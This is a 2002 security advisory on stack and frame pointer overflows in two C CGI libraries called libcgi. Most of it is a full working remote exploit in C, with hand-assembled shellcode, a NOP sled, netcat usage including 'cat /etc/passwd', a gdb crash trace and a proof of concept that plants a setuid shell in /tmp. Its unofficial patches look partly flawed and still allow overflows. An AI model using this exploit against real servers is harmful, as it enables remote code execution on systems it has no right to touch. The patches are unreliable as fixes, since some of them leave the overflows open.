28th Nov 2002 [SBWID-5848]
COMMAND
Various libcgi implementations frame and buffer overflow
SYSTEMS AFFECTED
libcgi 0.1 from http://www.bigadmin.kit.net/libcgi/
libcgi 1.0.2,1.0.3 from http://www.tuxbr.com.br/
PROBLEM
In dong-houn yoU [Xpl017Elz] [http://x82.i21c.net] of NetCop Security
[http://www.inetcop.org] advisory [#2002-0x82-007], [#2002-0x82-008] :
1. libcgi (www.bigadmin.kit.net)
================================
A simple mode of develop CGI in language C. The libcgi package is a
library written in pure C for C programmers or, programmers with some
experience in language C that want development CGI in language C. This
Project includes two libraries that has example practice to use of the
same. (libcgi, lib-mysql)
Vulnerability of problem happens in the 76 line of 'Include/libcgi.h'.
Let's examine. :-)
__
69 void changevalue(char mt[],char *pt)
70 {
71 char buffer[256]={'\0'}; // 256
72 int size=(strlen(pt)); // pt size.
73 int x,y;
74 for(x=0,y=0;x<size;x++,y++) // ??
75 {
76 buffer[y]=pt[x]; // Here !!
77 }
78 strcpy(mt,buffer); // Here's uneasy.
79 }
--
According to use environment of function, can abuse overflow.
Exploit
=======
Good example that prove exploit is attached. The CGI program uses
changevalue().
Example CGI Program: /cgi-bin/formtest.cgi
let's examine source code.
__
7 static char Name[32],Email[32],Home[64],Sel[24],Check[16],Radio[16],Comments[256];
...
13 name=getbox("NAME"); changevalue(Name,name);
14 email=getbox("EMAIL"); changevalue(Email,email);
15 home=getbox("HOME"); changevalue(Home,home);
16 sel=getbox("SEL"); changevalue(Sel,sel);
17 check=getbox("CHECK"); changevalue(Check,check);
18 radio=getbox("RADIO"); changevalue(Radio,radio);
19 comments=getbox("COMMENTS"); changevalue(Comments,comments); // Here.
--
getbox() function, value input get to user. lol, changevalue() is
abused. :-)
This's exploit code that prove. Through remote attack, get 'nobody'
competence.
=== 0x82-libCGIfpxpl.c ===
/*
**
** Remote Frame Pointer Overwrite LIB CGI in Language C exploit
** by Xpl017Elz in INetCop(c) Security
**
** __
** Proof of concept:
**
** bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
** HTTP/1.1 200 OK
** Date: Sat, 23 Nov 2002 18:41:14 GMT
** Server: Apache/1.3.26 (Unix) PHP/4.1.2
** Connection: close
** Content-Type: text/html
**
** <html>
** <head>
** <title>LIB CGI in Language C - Testing "libcgi.h" with Url Encoding -
** by Marcos Luiz Onisto , bigadmin@uol.com.br</title>
** ...
** 8282828282828282828282828282828282828282828282828282 ...
** ...
**
** Happy Exploit !
**
** Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=99(nobody)
**
** __
** exploit by "you dong-h0un"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <getopt.h>
#define Xpl017Elz x82
#define BUFSIZE 1024
#define DCOMM "printf \"\\n\\n\\nHappy Exploit !\\n\\n\";uname -a;id"
void banrl();
int main(argc,argv)
int argc;
char *argv[];
{
#define NOPSH 0xbffffc20
unsigned long nopsh=NOPSH;
#define SHADR 0xbffffd60
unsigned long shadr=SHADR;
int whtp;
#define NULLS 0x00000000
int num_0,num_1,num_2,num_3;
int num_4,num_5;
char input_code[]= /* It's true ! */
"NAME=Xpl017Elz&EMAIL=szoahc@hotmail.com&HOME=http://x82.inetcop.org&SEL=Music&CHECK=yes&RADIO=very+happy&COMMENTS=";
char send_code[]=
"&Submit=Send\n"; /* send */
#define COMMS 235
char shc0mm[COMMS]=DCOMM;
unsigned char x0x[BUFSIZE];
char x0x2[BUFSIZE];
int x0x_0_num=NULLS;
int x0x_1_num=NULLS;
num_5=num_4=num_3=num_2=num_1=num_0=NULLS;
memset(x0x,0x00,BUFSIZE);
memset(x0x2,0x00,BUFSIZE);
while((whtp=getopt(argc,argv,"C:c:S:s:A:a:"))!=EOF)
{
switch(whtp)
{
case 'C':
case 'c':
if(strlen(optarg)>COMMS)
{
fprintf(stderr,"\n [-] String Error :-(\n\n");
exit(-1);
}
memset(shc0mm,0x00,COMMS);
strncpy(shc0mm,optarg,COMMS);
break;
case 'S':
case 's':
nopsh=strtoul(optarg,NULL,0);
break;
case 'A':
case 'a':
shadr=strtoul(optarg,NULL,0);
break;
case '?':
{
(void)banrl();
fprintf(stderr,"\n Usage: %s -opt args\n",argv[0]);
fprintf(stderr,"\n\t-s [addr] - shellcode");
fprintf(stderr,"\n\t-a [addr] - &shellcode");
fprintf(stderr,"\n\t-c [cmd] - command\n");
fprintf(stderr,"\n Example: %s -s %p -a %p -c 'cat /etc/passwd'\n\n",argv[0],nopsh,shadr);
exit(0);
}
break;
}
}
//--- make shellcode :-) ---//
/* This is dong-h0un U style */
num_1=strlen(shc0mm)+0x0c; num_2=num_1+0x01;
num_3=num_2+0x04; num_4=num_3+0x04; num_5=num_4+0x04;
x0x[num_0++]=0xeb; x0x[num_0++]=0x30; x0x[num_0++]=0x5e;
x0x[num_0++]=0x89; x0x[num_0++]=0x76; x0x[num_0++]=num_2;
x0x[num_0++]=0x31; x0x[num_0++]=0xc0; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x08; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=0x0b; x0x[num_0++]=0x88;
x0x[num_0++]=0x46; x0x[num_0++]=num_1;x0x[num_0++]=0x89;
x0x[num_0++]=0x46; x0x[num_0++]=num_5;x0x[num_0++]=0xb0;
x0x[num_0++]=0x0b; x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x09; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_3;x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
x0x[num_0++]=0x0c; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
x0x[num_0++]=num_4;x0x[num_0++]=0x89; x0x[num_0++]=0xf3;
x0x[num_0++]=0x8d; x0x[num_0++]=0x4e; x0x[num_0++]=num_2;
x0x[num_0++]=0x8d; x0x[num_0++]=0x56; x0x[num_0++]=num_5;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0x31;
x0x[num_0++]=0xc0; x0x[num_0++]=0xb0; x0x[num_0++]=0x01;
x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0xe8;
x0x[num_0++]=0xcb; x0x[num_0++]=0xff; x0x[num_0++]=0xff;
x0x[num_0++]=0xff; x0x[num_0++]=0x2f; x0x[num_0++]=0x2f;
x0x[num_0++]=0x62; x0x[num_0++]=0x69; x0x[num_0++]=0x6e;
x0x[num_0++]=0x2f; x0x[num_0++]=0x73; x0x[num_0++]=0x68;
x0x[num_0++]=0x20; x0x[num_0++]=0x2d; x0x[num_0++]=0x63;
x0x[num_0++]=0x20;
//--- execute formtest.cgi ---//
fprintf(stdout,"POST /cgi-bin/formtest.cgi HTTP/1.0\n");
fprintf(stdout,"Connection: close\n");
fprintf(stdout,"User-Agent: ");
//--- put shellcode ---//
for(x0x_0_num=0;x0x_0_num<BUFSIZE/2-strlen(x0x)-strlen(shc0mm);x0x_0_num++)
fprintf(stdout,"\x90");
fprintf(stdout,"%s",x0x);
fprintf(stdout,"%s",shc0mm);
//--- put &shellcode ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<BUFSIZE/4;x0x_0_num+=4)
*(long*)&x0x[x0x_0_num]=nopsh;
fprintf(stdout,"%s\n",x0x); /* &shellcode */
//--- set type ---//
fprintf(stdout,"Host: x82 was here.\n");
fprintf(stdout,"Content-type: application/x-www-form-urlencoded\n");
//--- put &(&shellcode) ---//
memset(x0x,0x00,BUFSIZE);
for(x0x_0_num=0;x0x_0_num<260;x0x_0_num+=4)
*(long*)&x0x[x0x_0_num]=shadr; /* &(&shellcode) */
snprintf(x0x2,BUFSIZE,"%s%s%s",input_code,x0x,send_code);
//--- size, code send ---//
fprintf(stdout,"Content-length: %d\n\n",strlen(x0x2));
fprintf(stdout,"%s\n",x0x2);
/*******************************************************************
How to exploit?
Use netcat !
bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
This is frame pointer overwrite.
Must investigate all shellcode address and &shellcode address.
[nop] [shellcode] [&shellcode]
^ | ^
| | |
+----------+ +------* (-a option).
(-s option)
ex) 0x82828282: 0x90909090 0x90909090 0x90909090 0x90909090
... ... ... ... ...
0x8282bab0: 0x82828282 0x82828282 0x82828282 0x82828282
It may be work that is very interesting. :-)
bash$ (./0x82-libCGIfpxpl -s 0x82828282 -a 0x8282bab0;cat)|nc 0 80
Only, code may create instruction that you want.
Shellcode does not worry. (-c option)
bash$ (./0x82-libCGIfpxpl -c "echo 'x82 was here.';";cat)|nc 0 80
******************************************************************/
}
void banrl()
{
fprintf(stdout,"\n Remote Frame Pointer Overwrite LIB CGI in Language C exploit");
fprintf(stdout,"\n by Xpl017Elz in INetCop(c) Security\n");
}
2. libcgi (www.tuxbr.com.br)
============================
LIBCGI is a simple of functions to create CGI programs in C. It
provides support for both GET and POST request methods, parsing data,
an URLDecode function, access to MySQL functions, and excellent
documentation.
Vulnerability happens because of 'parse_field()' function. It's in 129
lines of 'cgi_lib.c' code. Let's examine. :-)
__
129 void parse_field(char *field, char *rtnfield)
...
132 char *ptr,
133 *endptr,
134 tmp_field[128];
...
137 sprintf(tmp_field,"%s=",field); // "field1="
138
139 if((ptr=strstr(req_http,tmp_field))!=NULL)
140 {
141 ptr+=strlen(tmp_field); // "[value]&field2=[value2]&field3=[value3]"
142
143 if((endptr=strchr(ptr,'&'))!=NULL) // "&field2=[value2]&field3=[value3]"
144 {
145 memmove(rtnfield, ptr, (endptr - ptr)+1); // here.
146 rtnfield[(endptr - ptr)]='\0';
147 }
...
--
Attacker can change flowing of program easily in remote.
Exploit
=======
There is very good CGI example program. The CGI program uses
parse_field().
Example CGI Program: /cgi-bin/sample3.cgi
let's examine source code.
__
6 char name[64], // 64
7 address[64],
8 tel[64];
...
12 parse_field("name",name); // exploitable !
13 parse_field("address",address);
14 parse_field("telephone",tel);
--
I'm going to do test simply. See well.
#) Testing. (RedHat Linux 8.0, locale (GNU libc) 2.2.93)
bash$ export QUERY_STRING="name=test&address=test&telephone=test"
bash$ ./sample3.cgi
Content-type: text/plain
*************************** SAMPLE LIBCGIMYSQL *********************
Name=test
Address=test
Telephone=test
*************************** FIM SAMPLE *********************
bash$ export QUERY_STRING="name=`perl -e 'print \"x\"x92'`AAAA&address=test&telephone=test"
bash$ gdb -q sample3.cgi
(gdb) r
Starting program: /usr/local/apache/cgi-bin/sample3.cgi
Content-type: text/plain
*************************** SAMPLE LIBCGIMYSQL *********************
Name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxAAAA
Address=test
Telephone=test
*************************** FIM SAMPLE *********************
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
(gdb) bt
#0 0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
#1 0x00000000 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x40013000 1073819648
edx 0x43218320 1126269728
ebx 0x78787878 2021161080
esp 0xbffffa90 0xbffffa90
ebp 0x78787878 0x78787878
esi 0x78787878 2021161080
edi 0x78787878 2021161080
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)
It's very basic stack based overflow. Can do exploit in remote.
exploit URL: http://x82.inetcop.org/h0me/c0de/0x82-Remote.tuxbrLibcgi.s
Proof of concept
================
sh-2.05b$ id
uid=501(x82) gid=501(x82) groups=501(x82),10(wheel)
sh-2.05b$ cat > /tmp/x82
#!/bin/sh
cp /bin/sh /tmp/nobody-sh
chmod 4755 /tmp/nobody-sh
^C
sh-2.05b$ chmod 755 /tmp/x82
sh-2.05b$ gcc -o 0x82-Remote.tuxbrLibcgi 0x82-Remote.tuxbrLibcgi.s
sh-2.05b$ (./0x82-Remote.tuxbrLibcgi;cat)|nc localhost 80
HTTP/1.1 500 Internal Server Error
Date: Thu, 21 Nov 2002 03:01:46 GMT
Server: Apache/1.3.20 (Unix)
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
...
<TITLE>500 Internal Server Error</TITLE>
</HEAD><BODY>
<H1>Internal Server Error</H1>
...
<HR>
<ADDRESS>Apache/1.3.20 Server at localhost.localdomain Port 80</ADDRESS>
</BODY></HTML>
sh-2.05b$
sh-2.05b$ /tmp/nobody-sh -p
nobody-sh-2.05b$ whoami
nobody
nobody-sh-2.05b$
SOLUTION
libcgi (www.bigadmin.kit.net) unoffical patch
=============================================
--- libcgi.h Tue Feb 13 22:23:00 1996
+++ libcgi.patch.h Thu Nov 21 14:01:21 2002
@@ -69,7 +69,7 @@
void changevalue(char mt[],char *pt)
{
char buffer[256]={'\0'};
- int size=(strlen(pt));
+ int size=256;//(strlen(pt));
int x,y;
for(x=0,y=0;x<size;x++,y++)
{
libcgi (www.tuxbr.com.br) unoffical patch
=========================================
--- cgi_lib.c Sat Dec 29 07:10:47 2001
+++ cgi_lib.patch.c Thu Nov 21 23:47:13 2002
@@ -126,7 +126,7 @@
//Faz o parse buscando pelo campo na string de request HTTP
-void parse_field(char *field, char *rtnfield)
+void parse_field(char *field, char *rtnfield, int size)
{
char *ptr,
@@ -142,12 +142,12 @@
if((endptr=strchr(ptr,'&'))!=NULL)
{
- memmove(rtnfield, ptr, (endptr - ptr)+1);
+ memmove(rtnfield, ptr, size-1);//(endptr - ptr)+1);
rtnfield[(endptr - ptr)]='\0';
}
else
{
- memmove(rtnfield, ptr, (strlen(ptr))+1);
+ memmove(rtnfield, ptr, size-1);//(strlen(ptr))+1);
rtnfield[(strlen(ptr))+1]='\0';
}
--- cgi_lib.h Sun Jan 20 06:58:34 2002
+++ cgi_lib.patch.h Thu Nov 21 23:47:05 2002
@@ -37,7 +37,7 @@
/*********************/
void SwapChar(char *pOriginal, char cBad, char cGood);
-void parse_field(char *field, char *rtnfield);
+void parse_field(char *field, char *rtnfield, int size);
void get_request(unsigned int method, char *request);
void URLDecode(unsigned char *pEncoded);
void vExiterr();
--- samples/sample3.c Thu Dec 27 05:52:12 2001
+++ samples/sample3.patch.c Thu Nov 21 23:51:14 2002
@@ -9,9 +9,9 @@
get_request(1,req_http);
- parse_field("name",name);
- parse_field("address",address);
- parse_field("telephone",tel);
+ parse_field("name",name,(int)sizeof(name));
+ parse_field("address",address,(int)sizeof(address));
+ parse_field("telephone",tel,(int)sizeof(tel));
URLDecode(name);
URLDecode(address);